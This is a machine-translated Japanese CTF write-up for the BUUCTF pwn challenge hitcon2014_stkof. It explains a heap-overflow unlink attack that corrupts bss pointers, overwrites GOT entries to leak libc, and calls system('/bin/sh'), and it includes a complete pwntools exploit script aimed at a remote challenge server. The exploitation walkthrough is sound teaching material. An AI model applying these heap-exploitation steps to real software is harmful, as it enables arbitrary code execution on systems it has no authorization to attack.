buuctf pwn hitcon2014_stkofが最初に会ったリンク解除

最近、ヒープについて学び始めました。リンク解除に関するこのトピックを理解するために、wikiやいくつかの大物向けの記事を読みました:hitcon2014_stkof

最初にidaをドラッグして、いくつかの主要な機能を確認します。

ここに画像の説明を挿入

関数1、ヒープを作成します。ヒープのアドレスがsに格納されていることがわかります。クリックして確認してください。

ここに画像の説明を挿入

bssセグメントであることがわかりました。このようなポインターは、このタイプの
ここに画像の説明を挿入
トピックの機能です。機能2、ヒープコンテンツの編集、長さは自分で設定できます。ヒープオーバーフローの脆弱性があります。
ここに画像の説明を挿入
機能3、フリーヒープ

機能4はあまり役に立たない

まず、3つの関数を記述します。

def alloc(size):
    sh.sendline('1')
    sh.sendline(str(size))
    sh.recvuntil('OK\n')

def edit(idx, size, content):
    sh.sendline('2')
    sh.sendline(str(idx))
    sh.sendline(str(size))
    sh.send(content)
    sh.recvuntil('OK\n')

def delete(idx):
    sh.sendline('3')
	sh.sendline(str(idx))

次に、3つのヒープを作成します

alloc(0x100)
alloc(0x20)
alloc(0x80)

0x80より小さい3番目のヒープのサイズはfastbinに分類されることに注意してください

このステップの後で、bssセグメントとヒープのレイアウトを見てみましょう。

Bssセグメント:
ここに画像の説明を挿入
2番目のチャンクと3番目のチャンク:
ここに画像の説明を挿入
chunk1、chunk2、chunk3のアドレスがそれぞれ0x602148、0x602150、0x602158に格納されていることを確認するのは難しくありません

chunk2で偽のチャンクを偽造してから、chunk3を解放したいので、chunk2アドレスが格納されている場所、つまり0x602150をptrとして設定し、偽のチャンクを作成してオーバーフローデータを書き込みます。

ptr=0x602150
payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)

この手順の後、chunk2とchunk3の状況は次のようになります。
ここに画像の説明を挿入

chunk3のヘッダーの0x20と0x90に注意して、chunk3のF位置を0に設定します。これは、前のチャンクがアイドル状態であることを示し、prev_sizeは前の偽のチャンクのサイズです。

その後、chunk3を解放します

delete(3)

これは最も重要なステップであり、多くのことが起こりました

チャンク3を解放すると、システムは前のチャンクがアイドル状態かどうかを判断します。ヒープオーバーフローによってチャンク3のFビットとprev_sizeを調整したため、システムは前のチャンクがアイドル状態であると見なし、チャンク3とprev_sizeの位置に基づいてそれを特定します。前のチャンク、つまり私たちの偽のチャンクに移動します。次に、これらの2つのチャンクをマージします。現時点では、もう一度判断する必要があります。ここでの判断条件は次のとおりです。

FD-> bk =偽のチャンク&& BK-> fd =偽のチャンク

これらの中でも、
FD =偽chunk-> FD
BK =偽chunk-> BK

すなわち
FD = 0x602138
BK = 0x602140、

そう
FD-> BK = FD + 0x18の
BK-> FD = BK + 0x10の

両方の結果を0x602150に格納されています0xe05940のアドレスは偽のチャンクのアドレスなので、検出をバイパスしました

次、

FD-> bk = BK

BK-> fd = FD

つまり、最初に0x602150に格納されているデータを0x602140に変更し、次に0x602138に変更します。これにより、bssセグメントは次のようになり
ここに画像の説明を挿入
ます。0x602150はchunk2のアドレスを格納しているはずですが、これで変更されたので、これを使用できますこの時点で、データをchunk2に書き込み、続けて再書き込みします

elf=ELF('./stkof')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)

chunk2ポインターは私たちによって変更されているため、この手順の後、chunk2のデータではなく、bssセグメントのデータが実際に変更されます。bssセグメントは次のとおりです。
ここに画像の説明を挿入

このように、chunk1とchunk3のポインタもそれぞれ、free関数とputs関数の取得アドレスに変更され、chunk1にデータを書き込むときに、実際に取得した空き関数のアドレスを変更します。

edit(1,8,p64(puts_plt))
delete(3)

このステップの後、フリー関数の取得アドレスがputs関数のpltアドレスに変更され、実際に空きchunk3がputs関数を実行して、取得したputsのアドレスを出力します。

libc=ELF('./libc.so.6')
base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']

出力後、ベースアドレスとシステム関数アドレスを計算します

payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)

最後の手順は上記と同じです。取得したフリー関数のアドレスをシステム関数のアドレスに変更し、「/ bin / sh」をbssセグメントに書き込んでから、システム関数を実行してシェルを取得します。

完全な経験:

from pwn import *
sh=remote("node3.buuoj.cn",27974)
#sh=process("./stkof")
context.log_level='debug'
elf=ELF('./stkof')
libc=ELF('./libc.so.6')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
free=elf.got['free']
ptr=0x602150
def alloc(size):
    sh.sendline('1')
    sh.sendline(str(size))
    sh.recvuntil('OK\n')

def edit(idx, size, content):
    sh.sendline('2')
    sh.sendline(str(idx))
    sh.sendline(str(size))
    sh.send(content)
    sh.recvuntil('OK\n')

def delete(idx):
    sh.sendline('3')
    sh.sendline(str(idx))
    

alloc(0x100)
alloc(0x20)
alloc(0x80)

payload=p64(0)+p64(0x21)+p64(ptr-0x18)+p64(ptr-0x10)
payload+=p64(0x20)+p64(0x90)
edit(2,len(payload),payload)

delete(3)
sh.recvuntil('OK')

payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(puts_got)
edit(2,len(payload),payload)
edit(1,8,p64(puts_plt))
delete(3)


base = u64(sh.recv(6).ljust(8,'\x00'))-libc.symbols['puts']
sh.recvuntil('OK')
system_addr=base+libc.symbols['system']


payload=p64(0)+p64(0)+p64(free)+p64(ptr-0x18)+p64(ptr+0x10)+"/bin/sh"
edit(2,len(payload),payload)
edit(1,8,p64(system_addr))
delete(3)
sh.interactive()

私のコードリファレンスはこの記事です:https : //thinkycx.me/2018-11-30-HITCON2014-stkof.html

Wikiでの実装は少し異なりますが、理解も容易です

おすすめ

転載: blog.csdn.net/weixin_45677731/article/details/107747124